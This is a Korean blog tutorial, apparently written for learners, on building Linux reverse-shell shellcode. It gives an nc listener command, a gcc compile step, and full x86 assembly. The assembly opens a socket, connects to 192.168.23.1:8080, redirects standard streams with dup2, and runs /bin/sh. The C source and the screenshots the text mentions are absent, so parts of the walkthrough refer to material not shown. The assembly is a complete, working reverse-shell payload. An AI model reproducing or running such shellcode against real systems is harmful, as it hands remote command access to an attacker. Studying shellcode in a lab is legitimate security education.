반응형

1. bash 셸을 실행하는 C 코드의 구조 이해

2. 부분별로 나누어 셸코드 작성하기

2-1. 로컬 bash 셸을 실행하는 셸코드에서는 execve() 함수를 어셈블리어로 만들었지만, 함수가 여러 개로 늘어났을 뿐이이므로 차근차근 따라하면 만들 수 있다.

 

참고) 인터넷을 통해 리버스 커넥션을 하기 위해서는 접속 받을 클라이언트에 받드시 공인 IP가 있어야 하기 때문에 내부망 사설 IP 환경에서 설명한다.(이 글에서는 우분투 환경에서 진행했다.)

접속 받을 클라이언트에서 nc로 원하는 포트를 열어(Listen)둬야 한다.

 


nc -l -vv -p 8080

 

먼저 위와 같이 접속받을 컴퓨터 역할을 해주는 터미널에서 nc 명령으로 접속을 받을 준비를 해둔다.

 

 

그리고 위와 같이 자신의 사설 ip 주소를 알아온다.

 

 

이후 서버측 역할을 해줄 다른 터미널에서 reverse_shell.c 파일에 위의 코드를 작성 후

 

gcc -o reverse_shell reverse_shell.c

 

컴파일하여 실행 파일을 만들면 상대방 서버에서 리버스 커넥션 할 준비가 된 것과 마찬가지인 것이다.

 

 

그 다음 서버측에서 컴파일하여 만들어둔 실행 파일을 실행하면

 

 

위와 같이 서버에서 클라이언트의 8080/tcp 포트로 리버스 커넥션이 되었고 클라이언트에서 서버로 명령을 날릴 수 있는 세션이 형성됐고, 이때 셸 권한은 소스코드를 컴파일해서 실행한 계정을 얻게 된다.

 

참고)

dup2() 용도가 궁금하다면 dup2()가 포함된 3개의 라인을 하나씩 주석 처리하면서 실행해서 nc를 열어둔 클라이언트 창에서 서버와 세션이 어떻게 연결되는지를 보면 이해하기 쉬워질 것이다.

 


.globl _start

_start:
	# sockfd = socket(AF_INET-2, SOCK_STREAM-1, IPPROTO_TCP-6);
	xor %eax, %eax
	xor %ebx, %ebx
	xor %ecx, %ecx
	push %ecx
	
	# IPPROTO_TCP /usr/src/linux-2.2.14/include/linux/in.h
	movb $6, %cl
	push %ecx
	
	# SOCK_STREAM /usr/src/linux-2.2.14/include/asm-i386/socket.h
	movb $1, %cl
	push %ecx
	
	# AF_INET /usr/include/linux/socket.h
	movb $2, %cl
	push %ecx
	movl %esp, %ecx
	
	# SYS_SOCKET /usr/include/linux/net.h
	movb $1, %bl
	
	# SYS_socketcall /usr/src/linux-2.2.14/include/asm-i386/unistd.h
	movb $102, %al
	int $0x80
	
	# connect(sockfd, sockaddr, 16)
	movl %eax, %edx
	xor %eax, %eax
	xor %ecx, %ecx
	push %ecx
	push %ecx
	push $0x117a8c0 # ip address 192.168.23.1
	pushw $0x901f # port 8080
	movb $0x02, %cl # address family
	
	# SYS_CONNECT /usr/include/linux/net.h
	movb $3, %bl
	
	# SYS_socketcall /usr/src/linux-2.2.14/include/asm-i386/unistd.h
	movb $102, %al
	int $0x80
	
	# dup2(sock, 0);
	xor %eax, %eax
	movb $63, %al # SYS_dup2
	movl %edx, %ebx # sock
	xor %ecx, %ecx
	int $0x80
	
	# dup2(sock, 1);
	xor %eax, %eax
	movb $63, %al # SYS_dup2
	movl %edx, %ebx # sock
	movb $1, %cl # stdout
	int $0x80
	
	# dup2(sock, 2);
	xor %eax, %eax
	movb $63, %al # SYS_dup2
	movl %edx, %ebx # sock
	movb $2, %cl # stderr
	int $0x80
	
	# execve("/bin/sh", &[/bin/sh], NULL);
	xor %eax, %eax
	xor %edx, %edx
	movb $11, %al
	push %edx
	push $0x68732f2f #//sh
	push $0x6e69622f #/bin
	mov %esp, %ebx
	push %edx
	push %ebx
	mov %esp, %ecx
	int $0x80

 

reverse_shell.c 코드를 어세블리어로 바꾸면 위와 같다.

 

위의 코드가 이해가 되지 않는다면 아래의 글을 참고한다.

 

https://sean.tistory.com/476

반응형

+ Recent posts